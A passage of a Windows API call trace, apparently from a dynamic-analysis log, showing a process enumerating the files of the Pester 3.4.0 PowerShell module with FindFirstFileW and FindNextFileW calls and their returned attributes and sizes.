ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf41, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="InModuleScope.Tests.ps1", cAlternateFileName="")) returned 1 [0243.631] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x261a, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.Tests.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xbf58, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe941, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mock.Tests.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xcef, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc82, dwReserved0=0x0, dwReserved1=0x0, cFileName="New-Fixture.Tests.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PesterState.Tests.ps1", cAlternateFileName="")) returned 1 [0243.632] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x370d, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x15c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupTeardown.Tests.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xf0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e3f39a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e3f39a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e3f39a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1054, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestDrive.Tests.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4033, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6be7, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestResults.Tests.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 1 [0243.633] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1a2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="TestsRunningInCleanRunspace.Tests.ps1", cAlternateFileName="")) returned 0 [0243.633] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0243.634] GetProcessHeap () returned 0xc10000 [0243.634] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39628a0 | out: hHeap=0xc10000) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x263, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fe2e0e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fe2e0e, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fe2e0e, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="nunit_schema_2.5.xsd", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x734, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.nuspec", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1014, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psd1", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96fbcba3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96fbcba3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96fbcba3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6956, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.psm1", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b95, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester.Tests.ps1", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96e6560d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96e6560d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96e6560d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x16ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.md", cAlternateFileName="")) returned 1 [0243.634] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Snippets", cAlternateFileName="")) returned 1 [0243.634] GetProcessHeap () returned 0xc10000 [0243.634] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39628a0 [0243.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\Snippets\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53e92f6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a64f261, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x321, dwReserved0=0x0, dwReserved1=0x0, cFileName="Context.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="Describe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="It.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x325, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeGreaterThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeLessThan.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.638] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x348, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.639] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x334, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.639] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f706d4, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.639] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f24202, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f24202, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f24202, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.639] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97009075, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97009075, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97009075, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x32e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBe.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.639] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotBeNullOrEmpty.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.639] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9702f2dc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9702f2dc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9702f2dc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x341, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotContain.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.640] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotExist.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.640] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f4a475, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f4a475, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f4a475, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotMatch.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.640] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f706d4, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f706d4, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x33f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldNotThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.640] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96f9693c, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96f9693c, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x332, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShouldThrow.snippets.ps1xml", cAlternateFileName="")) returned 1 [0243.640] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96f9693c, 